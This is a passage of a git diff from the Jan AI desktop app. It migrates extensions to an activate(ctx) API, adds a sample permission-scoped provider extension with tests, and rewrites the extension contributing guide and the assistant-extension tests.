b/extensions-samples/hello-provider/src/__tests__/manifest.test.tsnew file mode 100644index 000000000..c2bd5724c--- /dev/null+++ b/extensions-samples/hello-provider/src/__tests__/manifest.test.ts@@ -0,0 +1,45 @@+import { readFileSync } from 'node:fs'+import { describe, expect, it } from 'vitest'+import {+ API_VERSION,+ isApiCompatible,+ validateManifest,+} from '@janhq/extension-api'++const pkg: unknown = JSON.parse(+ readFileSync(new URL('../../package.json', import.meta.url), 'utf8')+)++describe('hello-provider manifest', () => {+ it('passes the validator the host runs on load', () => {+ const result = validateManifest(pkg)+ expect(result.ok ? [] : result.errors).toEqual([])+ })++ it('targets the extension API this host provides', () => {+ const result = validateManifest(pkg)+ if (!result.ok) throw new Error('invalid manifest')+ expect(isApiCompatible(result.manifest.apiVersion, API_VERSION)).toBe(true)+ })++ it('requests only what it uses', () => {+ const result = validateManifest(pkg)+ if (!result.ok) throw new Error('invalid manifest')+ const { manifest } = result+ expect(manifest.id).toBe('jan-samples.hello-provider')+ expect(manifest.permissions).toEqual([+ 'ui:notify',+ 'tools',+ 'providers',+ 'network:127.0.0.1',+ ])+ expect(manifest.contributes?.providers).toEqual([+ {+ id: 'hello-local',+ displayName: 'Hello Local',+ baseUrl: 'http://127.0.0.1:11999/v1',+ capabilities: ['completion', 'tools'],+ },+ ])+ })+})diff --git a/extensions-samples/hello-provider/src/index.ts b/extensions-samples/hello-provider/src/index.tsnew file mode 100644index 000000000..bc62414f3--- /dev/null+++ b/extensions-samples/hello-provider/src/index.ts@@ -0,0 +1,124 @@+// A worker extension that touches every contribution point. Only types come+// from @janhq/extension-api: the bundle must import nothing at runtime, and+// everything the extension can do goes through `ctx`.+import type {+ CancellationToken,+ ExtensionContext,+ ProviderModel,+ ToolResult,+} from '@janhq/extension-api'++const STATUS_ITEM = 'hello.status'+const PROVIDER_BASE_URL = 'http://127.0.0.1:11999/v1'+const MAX_DELAY_MS = 10_000++const text = (value: string, isError?: boolean): ToolResult => ({+ content: [{ type: 'text', text: value }],+ ...(isError ? { isError } : {}),+})++interface EchoInput {+ text: string+ delayMs?: number+}++// The host validates nothing against inputSchema, so check here.+function parseEchoInput(input: unknown): EchoInput | undefined {+ if (typeof input !== 'object' || input === null) return undefined+ const { text: value, delayMs } = input as Record<string, unknown>+ if (typeof value !== 'string') return undefined+ if (delayMs === undefined) return { text: value }+ if (+ typeof delayMs !== 'number' ||+ !Number.isInteger(delayMs) ||+ delayMs < 0 ||+ delayMs > MAX_DELAY_MS+ )+ return undefined+ return { text: value, delayMs }+}++/** Resolves after `ms`, or with false as soon as `token` is cancelled. */+function delay(ms: number, token: CancellationToken): Promise<boolean> {+ return new Promise((resolve) => {+ const timer = setTimeout(() => {+ listener.dispose()+ resolve(true)+ }, ms)+ const listener = token.onCancellationRequested(() => {+ clearTimeout(timer)+ listener.dispose()+ resolve(false)+ })+ })+}++export async function activate(ctx: ExtensionContext): Promise<void> {+ let greeting = (await ctx.settings.get<string>('greeting')) ?? 'Hello'+ let count = 0+ const showStatus = () =>+ ctx.ui.setStatusItem(STATUS_ITEM, { text: `${greeting} (${count})` })++ ctx.subscriptions.add(+ ctx.settings.onDidChange(({ key, value }) => {+ if (key !== 'greeting' || typeof value !== 'string') return+ greeting = value+ showStatus()+ })+ )++ ctx.subscriptions.add(+ ctx.commands.registerCommand('hello.greet', () => {+ count += 1+ const message = `${greeting} from ${ctx.extension.displayName}!`+ ctx.ui.notify({ level: 'info', message })+ showStatus()+ return message+ })+ )++ // Any URL can be passed to show what the host refuses: only the granted+ // network:127.0.0.1 is reachable, and nothing in the worker can bypass+ // ctx.http (the prelude removed fetch and friends).+ ctx.subscriptions.add(+ ctx.commands.registerCommand('hello.ping', async (_context, url) => {+ const target =+ typeof url === 'string' ? url : `${PROVIDER_BASE_URL}/models`+ const response = await ctx.http.fetch(target)+ return response.status+ })+ )++ ctx.subscriptions.add(+ ctx.tools.registerTool('echo_upper', async (input, token) => {+ const parsed = parseEchoInput(input)+ if (!parsed)+ return text(+ 'Expected { text: string, delayMs?: integer 0..10000 }',+ true+ )+ if (token.isCancellationRequested) return text('Cancelled', true)+ if (parsed.delayMs && !(await delay(parsed.delayMs, token))) {+ ctx.log.info('echo_upper cancelled')+ return text('Cancelled', true)+ }+ return text(parsed.text.toUpperCase())+ })+ )++ // The host runs inference against the declared baseUrl itself; the+ // extension only answers which models exist.+ ctx.subscriptions.add(+ ctx.providers.registerProvider('hello-local', {+ listModels: async (): Promise<ProviderModel[]> => [+ { id: 'hello-1', displayName: 'Hello 1' },+ ],+ })+ )++ showStatus()+}++export function deactivate(): void {+ // Everything lives in ctx.subscriptions, which the host disposes.+}diff --git a/extensions-samples/hello-provider/tsconfig.json b/extensions-samples/hello-provider/tsconfig.jsonnew file mode 100644index 000000000..40d1f432a--- /dev/null+++ b/extensions-samples/hello-provider/tsconfig.json@@ -0,0 +1,19 @@+{+ // Type-check only; rolldown emits the bundle.+ "compilerOptions": {+ "target": "ES2022",+ "module": "NodeNext",+ "moduleResolution": "NodeNext",+ "lib": ["ES2022", "WebWorker"],+ "types": ["node"],+ "strict": true,+ "noUnusedLocals": true,+ "noUnusedParameters": true,+ "verbatimModuleSyntax": true,+ "resolveJsonModule": true,+ "forceConsistentCasingInFileNames": true,+ "skipLibCheck": true,+ "noEmit": true+ },+ "include": ["src"]+}diff --git a/extensions-samples/hello-provider/vitest.config.ts b/extensions-samples/hello-provider/vitest.config.tsnew file mode 100644index 000000000..a547d1185--- /dev/null+++ b/extensions-samples/hello-provider/vitest.config.ts@@ -0,0 +1,9 @@+import { defineConfig } from 'vitest/config'++export default defineConfig({+ test: {+ environment: 'node',+ include: ['src/**/*.test.ts'],+ globalSetup: ['./vitest.global-setup.mjs'],+ },+})diff --git a/extensions-samples/hello-provider/vitest.global-setup.mjs b/extensions-samples/hello-provider/vitest.global-setup.mjsnew file mode 100644index 000000000..fb9e03162--- /dev/null+++ b/extensions-samples/hello-provider/vitest.global-setup.mjs@@ -0,0 +1,7 @@+// The bundle test runs dist/index.js, so build it before the tests start+// rather than trusting whatever dist holds from the last build.+import { buildBundle } from './scripts/build.mjs'++export default async function setup() {+ await buildBundle()+}diff --git a/extensions/CONTRIBUTING.md b/extensions/CONTRIBUTING.mdindex ad31ec34e..de98fd304 100644--- a/extensions/CONTRIBUTING.md+++ b/extensions/CONTRIBUTING.md@@ -1,149 +1,101 @@# Contributing to Jan Extensions-[← Back to Main Contributing Guide](../CONTRIBUTING.md)--Extensions add specific features to Jan as self-contained modules.--## Current Extensions--### `/assistant-extension`-- Assistant CRUD operations-- `src/index.ts` - Main implementation--### `/conversational-extension`-- Message handling, conversation state-- `src/index.ts` - Chat logic--### `/download-extension`-- Model downloads with progress tracking-- `src/index.ts` - Download logic-- `settings.json` - Download settings--### `/llamacpp-extension`-- Local model inference via llama.cpp-- `src/index.ts` - Entry point-- `src/backend.ts` - llama.cpp integration-- `settings.json` - Model settings--### `/mlx-extension`-- MLX-Swift inference on Apple Silicon Macs-- `src/index.ts` - Entry point--### `/rag-extension`-- RAG tooling: registers RAG tools and orchestrates retrieval across parser, embeddings, and vector DB-- `src/index.ts` - Main implementation--### `/vector-db-extension`-- Vector DB integration using sqlite-vec, with a linear fallback-- `src/index.ts` - Entry point--## Creating Extensions--### Setup+[<- Back to Main Contributing Guide](../CONTRIBUTING.md)++Extensions add specific features to Jan as self-contained modules. Every+extension exports `activate(ctx)` (and optionally `deactivate()`) and reaches+the app only through `ctx`. There is no base class to extend.++There are two kinds:++- **Built-ins** (this folder) run in the main window and receive an+ `InternalExtensionContext` from `@janhq/core`. Next to the stable API they+ get `ctx.internal` (service registry, fs, downloads, engines, internal+ tools, secrets), which has no stability guarantee.+- **Third-party extensions** run in a Web Worker each, receive the stable+ `ExtensionContext` from `@janhq/extension-api` and can use only what their+ manifest permissions grant. `extensions-samples/hello-provider` is the+ reference; start from it.++## Current built-ins++| Folder | Id | What it provides |+|---|---|---|+| `assistant-extension` | `jan.assistant` | `ServiceKeys.Assistants` (assistant CRUD, migrations) |+| `download-extension` | `jan.download` | `ServiceKeys.Downloads` (model downloads with progress) |+| `llamacpp-extension` | `jan.llamacpp` | llama.cpp engine via `ctx.internal.engines`, `ServiceKeys.Llamacpp` |+| `mlx-extension` | `jan.mlx` | MLX engine on Apple Silicon (macOS only), `ServiceKeys.Mlx` |+| `vector-db-extension` | `jan.vector-db` | `ServiceKeys.VectorDB` (sqlite-vec with a linear fallback) |+| `rag-extension` | `jan.rag` | `ServiceKeys.RAG` and the RAG tools; depends on `jan.vector-db` |++The host activates them from `HOST_BUILTINS` in+`web-app/src/lib/extensions/builtins.ts`.++## Adding a built-in++1. `extensions/<name>-extension/package.json`: name it+ `@janhq/<name>-extension`, depend on `@janhq/core` (`workspace:*`), and add+ a `jan` manifest field:+ ```json+ "jan": {+ "id": "jan.<name>",+ "displayName": "My Feature",+ "publisher": "Jan",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": []+ }+ ```+ User-facing settings go in `jan.contributes.settings`; the host stores+ them and renders them on Settings > Extensions.+2. `rolldown.config.mjs`, `tsconfig.json` and `vitest.config.ts`, copied from+ `download-extension` (the smallest).+3. `src/index.ts`:+ ```ts+ import { ServiceKeys, type InternalExtensionContext } from '@janhq/core'++ export async function activate(ctx: InternalExtensionContext): Promise<void> {+ const service = createMyService(ctx)+ // Everything added to ctx.subscriptions is disposed on deactivation.+ ctx.subscriptions.add(ctx.internal.services.provide(ServiceKeys.MyService, service))+ }+ ```+ A new service needs its interface and a `ServiceKey` in+ `core/src/browser/host/services.ts`. Callers in the web app read it with+ `getExtensionHost().services.get(ServiceKeys.MyService)`.+4. Wire it up: an entry in `HOST_BUILTINS` (with `dependsOn` if it needs+ another built-in active first), a module declaration in+ `web-app/src/types/bundled-extensions.d.ts`, and the vitest project in the+ root `vitest.config.ts`.++## Lifecycle++1. The app starts and the host validates each built-in's manifest.+2. Built-ins activate in `dependsOn` order: `activate(ctx)` is awaited.+3. Installed third-party extensions then start in their workers.+4. On shutdown or disable the host calls `deactivate()` and disposes+ `ctx.subscriptions`.++A failing `activate` marks only that extension as failed; it never blocks+the others or the UI.++## Building and testing```bash-mkdir my-extension-cd my-extension-yarn init+yarn build:extensions # extension-api, runtime, core, every extension, samples+yarn test:ext+make test-extensions-smoke```-### Structure--```-my-extension/-├── package.json-├── rolldown.config.mjs-├── src/index.ts-└── settings.json (optional)-```--### Basic Extension--```typescript-import { Extension } from '@janhq/core'--export default class MyExtension extends Extension {- async onLoad() {- // Extension initialization- }-- async onUnload() {- // Cleanup- }-}-```--## Building & Testing--```bash-# Build extension-yarn build--# Run tests-yarn test-```--## Common Patterns--### Service Registration-```typescript-async onLoad() {- this.registerService('myService', {- doSomething: async () => 'result'- })-}-```--### Event Handling-```typescript-async onLoad() {- this.on('model:loaded', (model) => {- console.log('Model loaded:', model.id)- })-}-```--## Extension Lifecycle--1. **Jan starts** → Discovers extensions-2. **Loading** → Calls `onLoad()` method-3. **Active** → Extension responds to events-4. **Unloading** → Calls `onUnload()` on shutdown--## Debugging Extensions--```bash-# Check if extension loaded-console.log(window.core.extensions)--# Debug extension events-this.on('*', console.log)--# Check extension services-console.log(window.core.api)-```--## Common Issues--**Extension not loading?**-- Check package.json format: `@janhq/extension-name`-- Ensure `onLoad()` doesn't throw errors-- Verify exports in index.ts--**Events not working?**-- Check event name spelling-- Ensure listeners are set up in `onLoad()`--## Best Practices--- Keep extensions focused on one feature-- Use async/await for all operations-- Clean up resources in onUnload()-- Handle errors gracefully-- Don't depend on other extensions+Test against a fake context rather than the real host; see+`rag-extension/src/test/fake-context.ts` and+`llamacpp-extension/src/test/host.ts`.-## Dependencies+## Rules-- **@janhq/core** - Core SDK and extension system-- **TypeScript** - Type safety-- **Rolldown** - Bundling\ No newline at end of file+- Extensions do not import each other; they share services through+ `ctx.internal.services` and declare order with `dependsOn`.+- `invoke` calls belong only in a Tauri plugin's `guest-js` layer.+- Release everything you acquire through `ctx.subscriptions`.+- User-visible strings go through i18next (or manifest `l10n` for+ third-party extensions).diff --git a/extensions/assistant-extension/README.md b/extensions/assistant-extension/README.mdindex f9d66f2d2..421a25fd0 100644--- a/extensions/assistant-extension/README.md+++ b/extensions/assistant-extension/README.md@@ -31,15 +31,15 @@ After you've cloned the repository to your local machine or codespace, you'll neyarn install```-1. :building_construction: Package the TypeScript for distribution+1. :building_construction: Build the extension```bash- yarn build:publish+ yarn build```1. :white_check_mark: Check your artifact- There will be a tgz file in your extension directory now+ The bundle is written to `dist/index.js`## Update the Extension Metadatadiff --git a/extensions/assistant-extension/package.json b/extensions/assistant-extension/package.jsonindex a209a6e2f..b0f5f5422 100644--- a/extensions/assistant-extension/package.json+++ b/extensions/assistant-extension/package.json@@ -1,15 +1,21 @@{"name": "@janhq/assistant-extension",- "productName": "Jan Assistant","version": "1.0.2","description": "Powers the default AI assistant that works with all your installed models.","main": "dist/index.js",- "node": "dist/node/index.js",+ "jan": {+ "id": "jan.assistant",+ "displayName": "Jan Assistant",+ "description": "Powers the default AI assistant that works with all your installed models.",+ "publisher": "Jan",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": []+ },"author": "Jan <[email protected]>","license": "Apache-2.0","scripts": {"build": "rolldown -c rolldown.config.mjs",- "build:publish": "rimraf *.tgz --glob || true && yarn build && npm pack && cpx *.tgz ../../pre-install","test": "vitest run"},"devDependencies": {diff --git a/extensions/assistant-extension/rolldown.config.mjs b/extensions/assistant-extension/rolldown.config.mjsindex 436de93a8..0fa617034 100644--- a/extensions/assistant-extension/rolldown.config.mjs+++ b/extensions/assistant-extension/rolldown.config.mjs@@ -1,17 +1,10 @@import { defineConfig } from 'rolldown'-import pkgJson from './package.json' with { type: 'json' }-export default defineConfig([- {- input: 'src/index.ts',- output: {- format: 'esm',- file: 'dist/index.js',- },- platform: 'browser',- define: {- NODE: JSON.stringify(`${pkgJson.name}/${pkgJson.node}`),- VERSION: JSON.stringify(pkgJson.version),- },- }-])+export default defineConfig({+ input: 'src/index.ts',+ output: {+ format: 'esm',+ file: 'dist/index.js',+ },+ platform: 'browser',+})diff --git a/extensions/assistant-extension/src/@types/global.d.ts b/extensions/assistant-extension/src/@types/global.d.tsdeleted file mode 100644index 2ca4a4080..000000000--- a/extensions/assistant-extension/src/@types/global.d.ts+++ /dev/null@@ -1,2 +0,0 @@-declare const NODE: string-declare const VERSION: stringdiff --git a/extensions/assistant-extension/src/index.test.ts b/extensions/assistant-extension/src/index.test.tsindex 682056963..aa4bacb62 100644--- a/extensions/assistant-extension/src/index.test.ts+++ b/extensions/assistant-extension/src/index.test.ts@@ -1,53 +1,74 @@import { beforeEach, describe, expect, it, vi } from 'vitest'-import { fs } from '@janhq/core'-import JanAssistantExtension from './index'+import {+ ServiceKeys,+ createServiceRegistry,+ type Assistant,+ type AssistantService,+ type InternalExtensionContext,+} from '@janhq/core'+import { activate } from './index'-// In-memory filesystem backing the mocked @janhq/core fs. Keys are the-// virtual paths the extension builds (joinPath joins with '/').+// In-memory filesystem behind ctx.internal.fs. Keys are the virtual paths the+// extension builds.const ROOT = 'file://assistants'+const VERSION_FILE = `${ROOT}/.migration_version`let files: Map<string, string>let dirs: Set<string>-function installFs() {- files = new Map()- dirs = new Set()-- vi.mocked(fs.existsSync).mockImplementation(async (p: string) =>- dirs.has(p) || files.has(p)- )- vi.mocked(fs.mkdir).mockImplementation(async (p: string) => {- dirs.add(p)- })- vi.mocked(fs.writeFileSync).mockImplementation(- async (p: string, data: string) => {+function memoryFs() {+ return {+ existsSync: vi.fn(async (p: string) => dirs.has(p) || files.has(p)),+ mkdir: vi.fn(async (p: string) => void dirs.add(p)),+ writeFileSync: vi.fn(async (p: string, data: string) => {files.set(p, data)- }- )- vi.mocked(fs.readFileSync).mockImplementation(async (p: string) => {- if (!files.has(p)) throw new Error(`ENOENT: ${p}`)- return files.get(p) as string- })- vi.mocked(fs.rm).mockImplementation(async (p: string) => {- files.delete(p)- })- vi.mocked(fs.readdirSync).mockImplementation(async (p: string) => {- const prefix = `${p}/`- const names = new Set<string>()- const keys = Array.from(files.keys()).concat(Array.from(dirs))- for (const key of keys) {- if (key.startsWith(prefix)) {- names.add(key.slice(prefix.length).split('/')[0])+ }),+ readFileSync: vi.fn(async (p: string) => {+ const data = files.get(p)+ if (data === undefined) throw new Error(`ENOENT: ${p}`)+ return data+ }),+ rm: vi.fn(async (p: string) => void files.delete(p)),+ readdirSync: vi.fn(async (p: string) => {+ const prefix = `${p}/`+ const names = new Set<string>()+ for (const key of [...files.keys(), ...dirs]) {+ if (key.startsWith(prefix))+ names.add(key.slice(prefix.length).split('/')[0])}- }- return Array.from(names)- })+ return [...names]+ }),+ }+}++type Disposable = { dispose(): void }++// The parts of DisposableStore activate uses.+function subscriptions() {+ const items: Disposable[] = []+ return {+ add: <T extends Disposable>(d: T) => (items.push(d), d),+ dispose: () => items.splice(0).forEach((d) => d.dispose()),+ }+}++function fakeContext() {+ const fs = memoryFs()+ const services = createServiceRegistry()+ const ctx = {+ extension: { id: 'jan.assistant', version: '1.0.2', displayName: 'A' },+ subscriptions: subscriptions(),+ log: { debug: vi.fn(), info: vi.fn(), warn: vi.fn(), error: vi.fn() },+ internal: { services, fs },+ } as unknown as InternalExtensionContext+ return { ctx, fs, services }}-// The mocked base class ignores constructor args; the two positional args-// satisfy BaseExtension's real type signature under tsc.-function makeExt(): JanAssistantExtension {- return new JanAssistantExtension('', '')+async function activated() {+ const fake = fakeContext()+ await activate(fake.ctx)+ const service = fake.services.get(ServiceKeys.Assistants) as AssistantService+ return { ...fake, service }}function seedAssistant(id: string, data: Record<string, unknown>) {@@ -56,199 +77,194 @@ function seedAssistant(id: string, data: Record<string, unknown>) {files.set(`${ROOT}/${id}/assistant.json`, JSON.stringify(data))}-function readAssistant(id: string): any {+function readAssistant(id: string): Record<string, unknown> {return JSON.parse(files.get(`${ROOT}/${id}/assistant.json`) as string)}+const assistant = (fields: Partial<Assistant>) => fields as Assistant++const DEFAULT_PARAMETERS = {+ temperature: 0.7,+ top_k: 20,+ top_p: 0.8,+ repeat_penalty: 1.12,+}++const IDENTITY_LINE =+ 'You are Jan, a helpful AI assistant who assists users with their requests. Jan is trained by Menlo Research (https://www.menlo.ai).'++// The seeded default, read back from a fresh activation.+async function defaultAssistant(): Promise<Assistant> {+ const saved = { files, dirs }+ files = new Map()+ dirs = new Set()+ const { service } = await activated()+ const [seeded] = await service.getAssistants()+ ;({ files, dirs } = saved)+ return seeded+}+beforeEach(() => {- vi.clearAllMocks()- installFs()+ files = new Map()+ dirs = new Set()})-describe('getAssistants', () => {- it('returns the default assistant when the assistants dir does not exist', async () => {- const ext = makeExt()- const result = await ext.getAssistants()- expect(result).toHaveLength(1)- expect(result[0].id).toBe('jan')- expect(result[0].name).toBe('Jan')+describe('activate', () => {+ it('provides the Assistants service until its subscriptions are disposed', async () => {+ const { ctx, services, service } = await activated()+ expect(service).toBeDefined()+ ctx.subscriptions.dispose()+ expect(services.get(ServiceKeys.Assistants)).toBeUndefined()})- it('falls back to the default assistant when the dir exists but is empty', async () => {- dirs.add(ROOT)- const ext = makeExt()- const result = await ext.getAssistants()+ it('creates the assistants dir when missing', async () => {+ const { fs } = await activated()+ expect(fs.mkdir).toHaveBeenCalledWith(ROOT)+ expect(dirs.has(ROOT)).toBe(true)+ })++ it('records the current migration version', async () => {+ await activated()+ expect(files.get(VERSION_FILE)).toBe('3')+ })++ it('seeds the default assistant with parameters when none are persisted', async () => {+ await activated()+ const seeded = readAssistant('jan')+ expect(seeded.name).toBe('Jan')+ expect(seeded.avatar).toBe('\u{1F44B}')+ expect(seeded.parameters).toEqual(DEFAULT_PARAMETERS)+ })++ it('does not overwrite an existing persisted assistant', async () => {+ seedAssistant('jan', { id: 'jan', name: 'Custom', instructions: 'mine' })+ await activated()+ expect(readAssistant('jan').name).toBe('Custom')+ })+})++describe('getAssistants', () => {+ it('falls back to the default assistant when none are persisted', async () => {+ const { service } = await activated()+ files.delete(`${ROOT}/jan/assistant.json`)+ const result = await service.getAssistants()expect(result).toHaveLength(1)expect(result[0].id).toBe('jan')+ expect(result[0].name).toBe('Jan')})it('reads and parses stored assistants', async () => {seedAssistant('alpha', { id: 'alpha', name: 'Alpha' })seedAssistant('beta', { id: 'beta', name: 'Beta' })- const ext = makeExt()- const result = await ext.getAssistants()+ const { service } = await activated()+ const result = await service.getAssistants()expect(result.map((a) => a.id).sort()).toEqual(['alpha', 'beta'])})it('skips directories without an assistant.json', async () => {seedAssistant('alpha', { id: 'alpha', name: 'Alpha' })dirs.add(`${ROOT}/orphan`)- const ext = makeExt()- const result = await ext.getAssistants()- expect(result).toHaveLength(1)- expect(result[0].id).toBe('alpha')+ const { service } = await activated()+ const result = await service.getAssistants()+ expect(result.map((a) => a.id)).toEqual(['alpha'])})it('skips assistants whose json fails to parse and keeps the valid ones', async () => {seedAssistant('alpha', { id: 'alpha', name: 'Alpha' })dirs.add(`${ROOT}/broken`)files.set(`${ROOT}/broken/assistant.json`, '{not valid json')- const ext = makeExt()- const result = await ext.getAssistants()+ const { service, ctx } = await activated()+ const result = await service.getAssistants()expect(result.map((a) => a.id)).toEqual(['alpha'])+ expect(ctx.log.error).toHaveBeenCalled()})})describe('createAssistant', () => {- it('creates the assistant folder and writes assistant.json', async () => {- const ext = makeExt()- await ext.createAssistant({ id: 'new', name: 'New' } as any)+ it('creates the assistant folder and writes pretty-printed assistant.json', async () => {+ const { service } = await activated()+ await service.createAssistant(assistant({ id: 'new', name: 'New' }))expect(dirs.has(`${ROOT}/new`)).toBe(true)expect(readAssistant('new')).toMatchObject({ id: 'new', name: 'New' })+ expect(files.get(`${ROOT}/new/assistant.json`)).toContain('\n ')})it('does not recreate an existing folder but still writes the file', async () => {+ const { service, fs } = await activated()dirs.add(`${ROOT}/existing`)- const ext = makeExt()- await ext.createAssistant({ id: 'existing', name: 'X' } as any)+ fs.mkdir.mockClear()+ await service.createAssistant(assistant({ id: 'existing', name: 'X' }))expect(fs.mkdir).not.toHaveBeenCalled()expect(readAssistant('existing')).toMatchObject({ id: 'existing' })})-- it('serializes the assistant as pretty-printed JSON', async () => {- const ext = makeExt()- await ext.createAssistant({ id: 'p', name: 'P' } as any)- const raw = files.get(`${ROOT}/p/assistant.json`) as string- expect(raw).toContain('\n ')- })})describe('deleteAssistant', () => {it('removes assistant.json when it exists', async () => {seedAssistant('gone', { id: 'gone' })- const ext = makeExt()- await ext.deleteAssistant({ id: 'gone' } as any)+ const { service } = await activated()+ await service.deleteAssistant(assistant({ id: 'gone' }))expect(files.has(`${ROOT}/gone/assistant.json`)).toBe(false)})it('is a no-op when the assistant does not exist', async () => {- const ext = makeExt()- await ext.deleteAssistant({ id: 'missing' } as any)+ const { service, fs } = await activated()+ await service.deleteAssistant(assistant({ id: 'missing' }))expect(fs.rm).not.toHaveBeenCalled()})})-describe('onLoad', () => {- it('creates the assistants dir when missing', async () => {- const ext = makeExt()- await ext.onLoad()- expect(fs.mkdir).toHaveBeenCalledWith(ROOT)- expect(dirs.has(ROOT)).toBe(true)- })-- it('records the current migration version', async () => {- const ext = makeExt()- await ext.onLoad()- expect(files.get(`${ROOT}/.migration_version`)).toBe('3')- })-- it('seeds the default assistant with parameters when none are persisted', async () => {- const ext = makeExt()- await ext.onLoad()- const seeded = readAssistant((ext as any).defaultAssistant.id)- expect(seeded.id).toBe((ext as any).defaultAssistant.id)- expect(seeded.parameters).toEqual({- temperature: 0.7,- top_k: 20,- top_p: 0.8,- repeat_penalty: 1.12,- })- })-- it('does not overwrite an existing persisted assistant on load', async () => {- seedAssistant('jan', { id: 'jan', name: 'Custom', instructions: 'mine' })- const ext = makeExt()- await ext.onLoad()- expect(readAssistant('jan').name).toBe('Custom')- })-})-describe('migrations', () => {- const getVersion = () => files.get(`${ROOT}/.migration_version`)-- it('migration v1 rewrites the legacy instruction prefix in isolation, preserving the tail', async () => {+ it('v1 -> v3 carry the legacy instruction prefix through to the plain default', async () => {seedAssistant('a', {id: 'a',instructions: 'You are a helpful AI assistant. Be concise.',})- const ext = makeExt()- await (ext as any).migrateAssistantInstructions()- expect(readAssistant('a').instructions).toBe(- 'You are Jan, a helpful AI assistant. Be concise.'- )+ const { instructions } = await defaultAssistant()+ await activated()+ const migrated = readAssistant('a')+ expect(migrated.instructions).toBe(instructions)+ expect(migrated.parameters).toEqual(DEFAULT_PARAMETERS)})- it('migration v2 adds default parameters; v3 then strips the identity preamble it added', async () => {+ it('v2 adds default parameters; v3 then strips the identity preamble it added', async () => {seedAssistant('b', {id: 'b',instructions: 'You are Jan, a helpful AI assistant. old body',})- const ext = makeExt()- await ext.onLoad()+ const { instructions } = await defaultAssistant()+ await activated()const migrated = readAssistant('b')- // v2 rewrites to the Menlo instructions (identity line + default body) and- // adds parameters; v3 recognizes the verbatim v2 default and removes the- // identity preamble, leaving the plain default instructions.- expect(migrated.instructions).toBe((ext as any).defaultAssistant.instructions)+ expect(migrated.instructions).toBe(instructions)expect(migrated.instructions).not.toContain('Menlo Research')- expect(migrated.parameters).toEqual({- temperature: 0.7,- top_k: 20,- top_p: 0.8,- repeat_penalty: 1.12,- })+ expect(migrated.parameters).toEqual(DEFAULT_PARAMETERS)})- it('migration v3 strips the identity preamble when instructions match the verbatim v2 default', async () => {- const ext = makeExt()- const identityLine =- 'You are Jan, a helpful AI assistant who assists users with their requests. Jan is trained by Menlo Research (https://www.menlo.ai).'- const defaultInstructions = (ext as any).defaultAssistant.instructions+ it('v3 strips the identity preamble when instructions match the verbatim v2 default', async () => {+ const { instructions } = await defaultAssistant()seedAssistant('c', {id: 'c',- instructions: `${identityLine}\n\n${defaultInstructions}`,+ instructions: `${IDENTITY_LINE}\n\n${instructions}`,})- await ext.onLoad()- expect(readAssistant('c').instructions).toBe(defaultInstructions)+ await activated()+ expect(readAssistant('c').instructions).toBe(instructions)})it('leaves user-customized instructions untouched across all migrations', async () => {const custom = 'My totally custom system prompt.'seedAssistant('d', { id: 'd', instructions: custom })- const ext = makeExt()- await ext.onLoad()+ await activated()expect(readAssistant('d').instructions).toBe(custom)})it('does not re-run migrations when already at the current version', async () => {dirs.add(ROOT)- files.set(`${ROOT}/.migration_version`, '3')+ files.set(VERSION_FILE, '3')seedAssistant('e', {id: 'e',instructions: 'You are a helpful AI assistant. legacy',})- const ext = makeExt()- await ext.onLoad()+ await activated()expect(readAssistant('e').instructions).toBe('You are a helpful AI assistant. legacy')@@ -256,9 +272,8 @@ describe('migrations', () => {it('treats an unparseable migration version file as version 0 and runs migrations', async () => {dirs.add(ROOT)- files.set(`${ROOT}/.migration_version`, 'garbage')- const ext = makeExt()- await ext.onLoad()- expect(getVersion()).toBe('3')+ files.set(VERSION_FILE, 'garbage')+ await activated()+ expect(files.get(VERSION_FILE)).toBe('3')})})diff --git a/extensions/assistant-extension/src/index.ts b/extensions/assistant-extension/src/index.tsindex 3a527a529..7b87ff5b5 100644--- a/extensions/assistant-extension/src/index.ts+++ b/extensions/assistant-extension/src/index.ts@@ -1,22 +1,42 @@-import { Assistant, AssistantExtension, fs, joinPath, logger } from '@janhq/core'+import {+ ServiceKeys,+ joinPath,+ type Assistant,+ type AssistantService,+ type InternalExtensionContext,+} from '@janhq/core'const V2_IDENTITY_LINE ='You are Jan, a helpful AI assistant who assists users with their requests. Jan is trained by Menlo Research (https://www.menlo.ai).'/**- * JanAssistantExtension is an AssistantExtension implementation that provides- * functionality for managing assistants.+ * Runs the assistant migrations, seeds the default assistant on first run and+ * provides the Assistants service.*/-export default class JanAssistantExtension extends AssistantExtension {+export async function activate(ctx: InternalExtensionContext): Promise<void> {+ const assistants = new Assistants(ctx)+ await assistants.prepare()+ ctx.subscriptions.add(+ ctx.internal.services.provide(ServiceKeys.Assistants, assistants)+ )+}++/** Assistants stored as `file://assistants/<id>/assistant.json`. */+class Assistants implements AssistantService {private readonly CURRENT_MIGRATION_VERSION = 3private readonly MIGRATION_FILE = 'file://assistants/.migration_version'+ private readonly fs: InternalExtensionContext['internal']['fs']+ private readonly log: InternalExtensionContext['log']- /**- * Called when the extension is loaded.- */- async onLoad() {- if (!(await fs.existsSync('file://assistants'))) {- await fs.mkdir('file://assistants')+ constructor(ctx: InternalExtensionContext) {+ this.fs = ctx.internal.fs+ this.log = ctx.log+ }++ /** Creates the folder, migrates and seeds; must finish before use. */+ async prepare(): Promise<void> {+ if (!(await this.fs.existsSync('file://assistants'))) {+ await this.fs.mkdir('file://assistants')}// Run migrations if needed@@ -43,13 +63,13 @@ export default class JanAssistantExtension extends AssistantExtension {*/private async getCurrentMigrationVersion(): Promise<number> {try {- if (await fs.existsSync(this.MIGRATION_FILE)) {- const versionStr = await fs.readFileSync(this.MIGRATION_FILE)+ if (await this.fs.existsSync(this.MIGRATION_FILE)) {+ const versionStr = await this.fs.readFileSync(this.MIGRATION_FILE)const version = parseInt(versionStr.trim(), 10)return isNaN(version) ? 0 : version}} catch (error) {- logger.error('Failed to read migration version:', error)+ this.log.error('Failed to read migration version:', error)}return 0}@@ -59,9 +79,9 @@ export default class JanAssistantExtension extends AssistantExtension {*/private async saveMigrationVersion(version: number): Promise<void> {try {- await fs.writeFileSync(this.MIGRATION_FILE, version.toString())+ await this.fs.writeFileSync(this.MIGRATION_FILE, version.toString())} catch (error) {- logger.error('Failed to save migration version:', error)+ this.log.error('Failed to save migration version:', error)}}@@ -72,24 +92,24 @@ export default class JanAssistantExtension extends AssistantExtension {const currentVersion = await this.getCurrentMigrationVersion()if (currentVersion < 1) {- logger.info('Running migration v1: Update assistant instructions')+ this.log.info('Running migration v1: Update assistant instructions')await this.migrateAssistantInstructions()await this.saveMigrationVersion(1)}if 